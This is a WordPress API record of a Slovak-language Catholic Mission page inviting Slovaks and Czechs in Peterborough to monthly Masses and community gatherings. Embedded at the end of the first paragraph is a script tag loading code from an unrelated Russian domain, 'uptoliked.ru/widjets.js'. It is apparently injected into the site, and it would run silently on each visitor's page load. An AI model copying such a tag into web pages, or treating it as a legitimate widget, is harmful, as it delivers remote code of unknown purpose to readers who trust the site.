{"id":12234,"date":"2012-01-12T23:31:15","date_gmt":"2012-01-12T23:31:15","guid":{"rendered":"http:\/\/www.scmlondon.org\/?page_id=12234"},"modified":"2025-08-24T20:13:09","modified_gmt":"2025-08-24T19:13:09","slug":"peterborough","status":"publish","type":"page","link":"https:\/\/www.scmlondon.org\/?page_id=12234","title":{"rendered":"PETERBOROUGH"},"content":{"rendered":"<p style=\"text-align: justify;\">Slovensk\u00e1 katol\u00edcka misia (SCM) v Lond\u00fdne (&nbsp;<a href=\"http:\/\/www.scmlondon.org\" target=\"_blank\" rel=\"noopener\"><em>www.scmlondon.org<\/em><\/a> ) srde\u010dne pozdravuje v\u0161etk\u00fdch Slov\u00e1kov a \u010cechov v Peterborough. Po dobe spozn\u00e1vania a z\u00edskavania sk\u00fasenost\u00ed sa SCM rozhodla roz\u0161\u00edri\u0165 svoje mo\u017enosti p\u00f4sobenia v \u010fal\u0161\u00edch mest\u00e1ch Anglicka. S Bo\u017eou pomocou a v\u00fddatnou ochotou p. Martina Palugu a jeho rodiny za\u010d\u00edname po prv\u00fdch stretnutiach a projekte<span style=\"color: #008000;\"> <strong>VITAJ MEDZI KRAJANMI<\/strong><\/span> <em>(ktor\u00fd sme absolvovali dvakr\u00e1t v priebehu roka a spolo\u010dnej sv. om\u0161i na 2. sviatok viano\u010dn\u00fd)<\/em>, spolo\u010dn\u00fa p\u00fa\u0165 pri oslave V\u0161emoh\u00faceho. Ten n\u00e1m doprial milos\u0165 a po\u017eehnal dielo viery a \u00fasilia stret\u00e1va\u0165 a pozn\u00e1va\u0165 sa v jeho chr\u00e1me, r\u00e1s\u0165 vo viere a l\u00e1ske k nemu vo svojom rodnom jazyku, vytvori\u0165 spolo\u010denstvo krajanov na b\u00e1ze viery, solidarity a spolupatri\u010dnosti.<script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/p>\n<p style=\"text-align: justify;\">Preto za\u010d\u00edname pr\u00e1ve vo va\u0161om meste Peterborough v j\u00fani 2012, kde sa bude pravidelne pri bohoslu\u017eb\u00e1ch a spolo\u010densk\u00fdch stretnutiach raz za mesiac stret\u00e1va\u0165 komunita Slov\u00e1kov a \u010cechov. Podarilo sa n\u00e1m vytvori\u0165 a dohodn\u00fa\u0165 miesto a priestor pre stretnutia. D\u00f4vod je celkom prozaick\u00fd \u2013 uchova\u0165 si jazyk, kult\u00faru, vieru, spolupatri\u010dnos\u0165, n\u00e1rodn\u00fa hrdos\u0165, \u013eudsk\u00fa d\u00f4stojnos\u0165, spolo\u010dne sa poduja\u0165 pre\u017e\u00edva\u0165 a zdie\u013ea\u0165 \u010das, odovzd\u00e1va\u0165 si inform\u00e1cie, c\u00edti\u0165 spolupatri\u010dnos\u0165 a hlb\u0161ie pre\u017e\u00edva\u0165 ka\u017edodenn\u00fd \u017eivot vo viere v Boha a v \u013eudskej solidarite. R\u00f4zne aktivity duchovn\u00e9ho, kult\u00farneho, spolo\u010densk\u00e9ho, \u0161portov\u00e9ho, \u013eudov\u00e9ho i umeleck\u00e9ho charakteru pre dospel\u00fdch i deti by mali by\u0165 zdrojom uvo\u013enenia i na\u010derpania nov\u00fdch s\u00edl a in\u0161pir\u00e1cie do \u017eivota.<\/p>\n<p style=\"text-align: justify;\">Radi v\u00e1s uv\u00edtame medzi sebou a tak sa stali s\u00fa\u010das\u0165ou komunity &#8211; spolo\u010denstva. Dajte o sebe vedie\u0165. Za roky existencie SCM v Lond\u00fdne mnoho \u013eud\u00ed prich\u00e1dzalo a prich\u00e1dza z tejto oblasti do Lond\u00fdna na bohoslu\u017eby, \u010di pr\u00edprav\u00e1m ku sviatostiam. Mnoh\u00ed prich\u00e1dzaj\u00fa i preto, aby za\u017eili spolo\u010denstvo, v ktorom vyrastali doma vo svojich farnostiach, pastora\u010dn\u00fdch centr\u00e1ch ap. Dnes je potrebn\u00e9 a mala by sa prejavi\u0165 va\u0161a t\u00fa\u017eba a ochota za\u010da\u0165 budova\u0165 dielo, ktor\u00e9 bude obohaten\u00edm v\u00e1s samotn\u00fdch i druh\u00fdch, miesto, ktor\u00e9 bude chcen\u00e9, t\u00fa\u017een\u00e9 a vyh\u013ead\u00e1van\u00e9 pre svoju atmosf\u00e9ru, potrebu a ponuku. Ka\u017ed\u00fd bude ma\u0165 podiel na jeho kr\u00e1se a u\u017eito\u010dnosti.&nbsp;Spr\u00e1vca SCM nav\u0161t\u00edvil toto mesto v posledn\u00fdch mesiacoch nieko\u013ekokr\u00e1t a uistil sa, \u017ee tento projekt stretnut\u00ed krajanov a veriacich je \u017eivotaschopn\u00fd. Stoj\u00ed za n\u00edm i ochota konkr\u00e9tnych \u013eud\u00ed podporova\u0165 \u010dinnos\u0165 a riadi\u0165 stretnutia a potreby komunity. Je teraz rada a krok na v\u00e1s da\u0165 o sebe vedie\u0165! Bez prejavenia z\u00e1ujmu, bez vykro\u010denia smerom k miestu, kde preb\u00fdva Boh so svojou l\u00e1skou, z ktorej chceme na\u010derpa\u0165 a podeli\u0165 sa s \u0148ou, nie je mo\u017en\u00e9 pre\u017e\u00edva\u0165 ani rados\u0165 z viery ani spolupatri\u010dnos\u0165 a vz\u00e1jomn\u00fa podporu. Uk\u00e1\u017eme, \u017ee sme sa v tomto svete nie\u010do nau\u010dili a pochopili, \u017ee sme in\u00ed ako \u201ct\u00ed\u201d doma, \u017ee sme in\u00ed vn\u00fatorne srdcom i zm\u00fd\u0161\u013ean\u00edm, ako sme boli.<\/p>\n<p>&nbsp;<\/p>\n<h3>Related Images:<\/h3>","protected":false},"excerpt":{"rendered":"<p>Slovensk\u00e1 katol\u00edcka misia (SCM) v Lond\u00fdne (&nbsp;www.scmlondon.org ) srde\u010dne pozdravuje v\u0161etk\u00fdch Slov\u00e1kov a \u010cechov v Peterborough. Po dobe spozn\u00e1vania a z\u00edskavania sk\u00fasenost\u00ed sa SCM rozhodla roz\u0161\u00edri\u0165 svoje mo\u017enosti p\u00f4sobenia v&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?page_id=12234\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":417,"featured_media":0,"parent":12229,"menu_order":3,"comment_status":"closed","ping_status":"closed","template":"","meta":{"ngg_post_thumbnail":0,"footnotes":""},"class_list":["post-12234","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/pages\/12234","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/417"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=12234"}],"version-history":[{"count":70,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/pages\/12234\/revisions"}],"predecessor-version":[{"id":32882,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/pages\/12234\/revisions\/32882"}],"up":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/pages\/12229"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=12234"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}